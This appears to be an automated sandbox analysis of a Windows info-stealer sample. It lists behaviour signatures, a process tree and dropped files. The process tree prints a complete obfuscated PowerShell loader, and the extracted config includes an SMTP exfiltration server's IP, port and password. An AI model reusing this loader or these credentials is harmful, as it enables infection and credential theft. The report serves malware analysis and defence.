Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/07/2026, 02:05

General

  • Target
    rSRL405120008.exe
  • Size 2.2MB
  • Sample260710-ch7xmac15x
  • SHA256 1b582f86043113376d91e7e699e0c7b9b62dce358a77a1ae0c7cd6f0d219a7d2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Credentials
  • Protocol

    smtp

  • Host

    162.254.34.31

  • Port

    587

  • Password

    >EII!$5(Maw>>3de

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\rSRL405120008.exe
    "C:\Users\Admin\AppData\Local\Temp\rSRL405120008.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1504
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\3ab9312c-7e21-4576-b85f-f82287c513b5.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=46-98;$w1mabY=''1nR6YA4gYx'';$mOnV08W6g=''96ceabe89299eae0a0befea188bcdeb8fbae9cbcffb7d8affee1c58396a6b5979dee8582fda8a3bdf2aa8cd19285ffaa96a0c6fec2cf9688ebbf9aa6e2948af38784fda29ff2a6e4a3d2969fb09e96b1eeb691e88abbeca287bdf8ab94c88a9bfb90c9e8cfa88badc1e694e991e4aff9dff8aba5eeaf9eb1fc91cbf0898fd99b879de286c9ffc187eb978a90cfa1a0d2c3b1c9fd8687f69295feb4bdf4a9b4beeda692ef9488d69b9ab0dca892d5b4a5ed94ab9ce18dbede9cb2c9f8c3b0a9f5b0c5abb9f2a8c090aa9d95e483b2e78f89b6dc82c8fda4a6f99cab9ce19eafad9a89d6a69486dcfd90c6b6ade4aec184ef9d95e4c6a0d987c6b6dc929ac4a0a9f086aba6d9a7cbd29f89c98780b7c88697cca6ade4aec184ef9d95e4c6a7f5a99fb6de92ccc6a4a5afa9b4beee9ec8da8988ac9b878bf6bccdd7b080a984b4bef68fbffb94a2cafc86b6ccbc8bd7ab9fa784bb98f7a0b0ca8a89f78fb1b1d386bdfec1daf6aca4e6ee95cbca8a88f39b86b6de968efea4adeeaf9ae7d6a6cada98a0d9ae839da8f5c1bbfee1dfa997ffcfbd88f9d3c6cab483b7dfa19ef59d82eaa49cbcbbeca3c89693eae3b6bcf8ab9cf59d8cc3f7c987cf82c0b2b48eea9e87a0f2aa9fb4a8a8f1a385b7e9b0a5a6c9adeca29e90fab79daac7b8eabf9abcfcecdcfec5dfb7e4dadf91a28df2909ff7a29df2ffecdcf0da90babace9cfeb3d5d39181fbae87f2d5a18cb2a48efc8e9fbbfeaa8ca7dbacfbb9de80faaa9cf39ecbbaa1d3ffd8ab8df287cbbaa1dd91f4b196e8da97bbb687a0e2bf8af9879eeca3d3f6eceabcf38485f2a292b6dfa58cfddbcfc1e48eb1fab09bf48896e3b0fed8fdb196ff8782f1a3d3bbb3e099b0d79fb2e99efebfb4c5dcdbc2b7b6d7aba69fa8f49285eaa29e95fab09dc1c9d1d2a292b6dab78bf99e89f2b4dbf6'';$xLUsU1Z3=''BRI8R14pRUsiagFPUxp8cRIaJVFbQCM8IlIUXmBjBVZiQyFxEBIoWRkAIw0xMDMcS0gQdmIXZHsFGihASBNcMWlyDVdvWQ1UaU1OfQ9WZUMDfWsCa2c8FVxYBlduACBaDlxcWAZXbgAgRxVTeEQHF04Nf2AAXG9IQxIuWCh7XFtqBUUfaU1FZzJGbVkNWC4YV1UCRmVbBU9oEVEuW3F+SAVPYipiZxVTYk4BEyMxJWlaFmIDLVVxDGdxSRZjAUBLLh4BHmw4KEZZey9LK3wVRnwXSxRsGW11T1FjAx5aKFIifhFVKwRIEyALeGARQTYCSwo3VCIlVgEiH0MbLEMrJlYcNRRLUmoEIyVPWHxKQxIubgZ9BxokCQMGY0Mof0gfbUMAEyMXMU81V3RZSn5pAGNwCFxrcF4BUjdKLE91aVk3T3UKYnNJFmsETRZqAnh3CRUwETdvRkQsP0EVXnlaBS9NJitIDjBoKn85XSs9Gj8GDUQfYARqNFwSK1kcTykFYVUAQF9MSwwoWzg6VQA+A10VMVI+O04Ia14CUGAFZHISVH9JQxs8QyhzBlQsEEQfYARqOjJHbl4QSW4NazxRHiwJA1xhTUBxD1V4RUQWJ1I+PWw4KEFEBidEPDNBCQEnRBsnQ2U0SWlPQgpNYhF4SVsISl8LVkUCf3FXBl9ZFlJpBCQwLFN4TgxedDg9SUgbLAoJQncRY3MTU2EDLFRqBmlnRhIrXxFVdBArNCEaKEoDXStDKHhNEisKSBsgLn92FFtgSUMXJ0Q8M0EeLAocDTNEJRlrEiwNRHxiFyFEE11vSBdIexBjZhUST30xGyoHaWcCTn9ICF5kFyw5B1t+XhAbMh9qYEF8bUABF0QzWTQcPwYgbhsnQyw0QRIsDUQ='';$c5KYar1=0x863F-0x2B9F;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0xAA)};$znMJz9w=$vTFBGDUM;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0x55)};$dij2csBYA=$vTFBGDUM;$vTFBGDUMoldR='''';$i=0;for($j=0;$j-lt$mOnV08W6g.Length;$j+=2){$vTFBGDUMoldR+=[char](([Convert]::ToInt32($mOnV08W6g.Substring($j,2),16))-bxor$znMJz9w[$i++%$znMJz9w.Length])};$eveL4ucI=$vTFBGDUMoldR;$vTFBGDUMoldB=[Convert]::FromBase64String([regex]::Replace($xLUsU1Z3, ''$vTFBGDUM'', ''''));$vTFBGDUMoldR='''';$i=0;for($j=0;$j-lt$vTFBGDUMoldB.Length;$j++){$vTFBGDUMoldR+=[char]($vTFBGDUMoldB[$j]-bxor$dij2csBYA[$i++%$dij2csBYA.Length])};$sku2LCA5=$vTFBGDUMoldR;$gxSj2u=$eveL4ucI+$sku2LCA5;.($env:ComSpec[4,26,25]-join'''') $gxSj2u"'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=46-98;$w1mabY='1nR6YA4gYx';$mOnV08W6g='96ceabe89299eae0a0befea188bcdeb8fbae9cbcffb7d8affee1c58396a6b5979dee8582fda8a3bdf2aa8cd19285ffaa96a0c6fec2cf9688ebbf9aa6e2948af38784fda29ff2a6e4a3d2969fb09e96b1eeb691e88abbeca287bdf8ab94c88a9bfb90c9e8cfa88badc1e694e991e4aff9dff8aba5eeaf9eb1fc91cbf0898fd99b879de286c9ffc187eb978a90cfa1a0d2c3b1c9fd8687f69295feb4bdf4a9b4beeda692ef9488d69b9ab0dca892d5b4a5ed94ab9ce18dbede9cb2c9f8c3b0a9f5b0c5abb9f2a8c090aa9d95e483b2e78f89b6dc82c8fda4a6f99cab9ce19eafad9a89d6a69486dcfd90c6b6ade4aec184ef9d95e4c6a0d987c6b6dc929ac4a0a9f086aba6d9a7cbd29f89c98780b7c88697cca6ade4aec184ef9d95e4c6a7f5a99fb6de92ccc6a4a5afa9b4beee9ec8da8988ac9b878bf6bccdd7b080a984b4bef68fbffb94a2cafc86b6ccbc8bd7ab9fa784bb98f7a0b0ca8a89f78fb1b1d386bdfec1daf6aca4e6ee95cbca8a88f39b86b6de968efea4adeeaf9ae7d6a6cada98a0d9ae839da8f5c1bbfee1dfa997ffcfbd88f9d3c6cab483b7dfa19ef59d82eaa49cbcbbeca3c89693eae3b6bcf8ab9cf59d8cc3f7c987cf82c0b2b48eea9e87a0f2aa9fb4a8a8f1a385b7e9b0a5a6c9adeca29e90fab79daac7b8eabf9abcfcecdcfec5dfb7e4dadf91a28df2909ff7a29df2ffecdcf0da90babace9cfeb3d5d39181fbae87f2d5a18cb2a48efc8e9fbbfeaa8ca7dbacfbb9de80faaa9cf39ecbbaa1d3ffd8ab8df287cbbaa1dd91f4b196e8da97bbb687a0e2bf8af9879eeca3d3f6eceabcf38485f2a292b6dfa58cfddbcfc1e48eb1fab09bf48896e3b0fed8fdb196ff8782f1a3d3bbb3e099b0d79fb2e99efebfb4c5dcdbc2b7b6d7aba69fa8f49285eaa29e95fab09dc1c9d1d2a292b6dab78bf99e89f2b4dbf6';$xLUsU1Z3='BRI8R14pRUsiagFPUxp8cRIaJVFbQCM8IlIUXmBjBVZiQyFxEBIoWRkAIw0xMDMcS0gQdmIXZHsFGihASBNcMWlyDVdvWQ1UaU1OfQ9WZUMDfWsCa2c8FVxYBlduACBaDlxcWAZXbgAgRxVTeEQHF04Nf2AAXG9IQxIuWCh7XFtqBUUfaU1FZzJGbVkNWC4YV1UCRmVbBU9oEVEuW3F+SAVPYipiZxVTYk4BEyMxJWlaFmIDLVVxDGdxSRZjAUBLLh4BHmw4KEZZey9LK3wVRnwXSxRsGW11T1FjAx5aKFIifhFVKwRIEyALeGARQTYCSwo3VCIlVgEiH0MbLEMrJlYcNRRLUmoEIyVPWHxKQxIubgZ9BxokCQMGY0Mof0gfbUMAEyMXMU81V3RZSn5pAGNwCFxrcF4BUjdKLE91aVk3T3UKYnNJFmsETRZqAnh3CRUwETdvRkQsP0EVXnlaBS9NJitIDjBoKn85XSs9Gj8GDUQfYARqNFwSK1kcTykFYVUAQF9MSwwoWzg6VQA+A10VMVI+O04Ia14CUGAFZHISVH9JQxs8QyhzBlQsEEQfYARqOjJHbl4QSW4NazxRHiwJA1xhTUBxD1V4RUQWJ1I+PWw4KEFEBidEPDNBCQEnRBsnQ2U0SWlPQgpNYhF4SVsISl8LVkUCf3FXBl9ZFlJpBCQwLFN4TgxedDg9SUgbLAoJQncRY3MTU2EDLFRqBmlnRhIrXxFVdBArNCEaKEoDXStDKHhNEisKSBsgLn92FFtgSUMXJ0Q8M0EeLAocDTNEJRlrEiwNRHxiFyFEE11vSBdIexBjZhUST30xGyoHaWcCTn9ICF5kFyw5B1t+XhAbMh9qYEF8bUABF0QzWTQcPwYgbhsnQyw0QRIsDUQ=';$c5KYar1=0x863F-0x2B9F;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0xAA)};$znMJz9w=$vTFBGDUM;$vTFBGDUM=@();foreach($c in [char[]]$w1mabY){$vTFBGDUM+=[byte]($c-bxor0x55)};$dij2csBYA=$vTFBGDUM;$vTFBGDUMoldR='';$i=0;for($j=0;$j-lt$mOnV08W6g.Length;$j+=2){$vTFBGDUMoldR+=[char](([Convert]::ToInt32($mOnV08W6g.Substring($j,2),16))-bxor$znMJz9w[$i++%$znMJz9w.Length])};$eveL4ucI=$vTFBGDUMoldR;$vTFBGDUMoldB=[Convert]::FromBase64String([regex]::Replace($xLUsU1Z3, '$vTFBGDUM', ''));$vTFBGDUMoldR='';$i=0;for($j=0;$j-lt$vTFBGDUMoldB.Length;$j++){$vTFBGDUMoldR+=[char]($vTFBGDUMoldB[$j]-bxor$dij2csBYA[$i++%$dij2csBYA.Length])};$sku2LCA5=$vTFBGDUMoldR;$gxSj2u=$eveL4ucI+$sku2LCA5;.($env:ComSpec[4,26,25]-join'') $gxSj2u
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1500
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sigohtos\sigohtos.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3920
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5436.tmp" "c:\Users\Admin\AppData\Local\Temp\sigohtos\CSCCAC54DB89BA545B98C11438F6E2385A7.TMP"
              6⤵
                PID:3112
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe"
              5⤵
              • Downloads MZ/PE file
              • Accesses Microsoft Outlook profiles
              • Suspicious use of SetThreadContext
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              • outlook_office_path
              PID:3880
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe" all --output-path "C:\Users\Admin\AppData\Local\Temp\37db42526359fb1dfd6ef083cf29d7fb"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1832
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  7⤵
                    PID:4060
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                    7⤵
                      PID:2252
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1236
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:3304

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 e5a2a94e868a9dc135dc58f52d7ff583b45fb13755e7ef832618850dd0fda23d
                  • MD5 SHA1 SHA512 TLSH

                  cookies.json

                  • Path C:\Users\Admin\AppData\Local\Temp\37db42526359fb1dfd6ef083cf29d7fb\Chrome\Default\cookies.json
                  • Size 338B
                  • SHA256 8aef73f807ebb1c9fdbf06f287cf449742fb88667a44175edf530c9b3c6a4e53
                  • MD5 SHA1 SHA512 TLSH

                  3ab9312c-7e21-4576-b85f-f82287c513b5.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\3ab9312c-7e21-4576-b85f-f82287c513b5.bat
                  • Size 7KB
                  • SHA256 e62ec42565f06678527af0e3bf9eeaaa0b81fb2445894a88dc511b8b045b9b25
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  RES5436.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES5436.tmp
                  • Size 1KB
                  • SHA256 4aefc17764316ecb4fe11464a20b7e56478f0951bed5f87773aefb4e9bd56c93
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_3iv4iwlz.nkh.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3iv4iwlz.nkh.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  sigohtos.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\sigohtos\sigohtos.dll
                  • Size 3KB
                  • SHA256 290d25947401f7b1fa0b9d2c77f61a533f617b94e8ddd4f8cdec4e1529a7baca
                  • MD5 SHA1 SHA512 TLSH

                  CSCCAC54DB89BA545B98C11438F6E2385A7.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\sigohtos\CSCCAC54DB89BA545B98C11438F6E2385A7.TMP
                  • Size 652B
                  • SHA256 e1b0a59678fcb2550f3f595a58844c19ad17ddf518fb25322a0c342611c6970c
                  • MD5 SHA1 SHA512 TLSH

                  sigohtos.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\sigohtos\sigohtos.0.cs
                  • Size 213B
                  • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                  • MD5 SHA1 SHA512 TLSH

                  sigohtos.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\sigohtos\sigohtos.cmdline
                  • Size 369B
                  • SHA256 0c3a3546b5bddd08d57e0d61ae74735749b543c521e0d611947881a83269844d
                  • MD5 SHA1 SHA512 TLSH

                  memory/1500-37-0x000001697DD20000-0x000001697DD28000-memory.dmp

                  memory/1500-38-0x0000016963790000-0x00000169637AA000-memory.dmp

                  memory/1504-0-0x0000000000660000-0x0000000000896000-memory.dmp

                  memory/1832-44-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-59-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-64-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-49-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-45-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-50-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-51-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-58-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-62-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-61-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-60-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-52-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-57-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-56-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-55-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-54-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/1832-53-0x0000000040000000-0x0000000040167000-memory.dmp

                  memory/3712-12-0x000001BAABC00000-0x000001BAABC22000-memory.dmp

                  memory/3712-3-0x000001BAABAA0000-0x000001BAABAB0000-memory.dmp

                  memory/3712-4-0x000001BAABAA0000-0x000001BAABAB0000-memory.dmp

                  memory/3880-41-0x000001548F2F0000-0x000001548F356000-memory.dmp

                  memory/3880-39-0x000001548F2F0000-0x000001548F356000-memory.dmp

                  memory/3880-66-0x00000154A9BD0000-0x00000154A9D92000-memory.dmp

                  memory/3880-68-0x00000154A9A80000-0x00000154A9AF6000-memory.dmp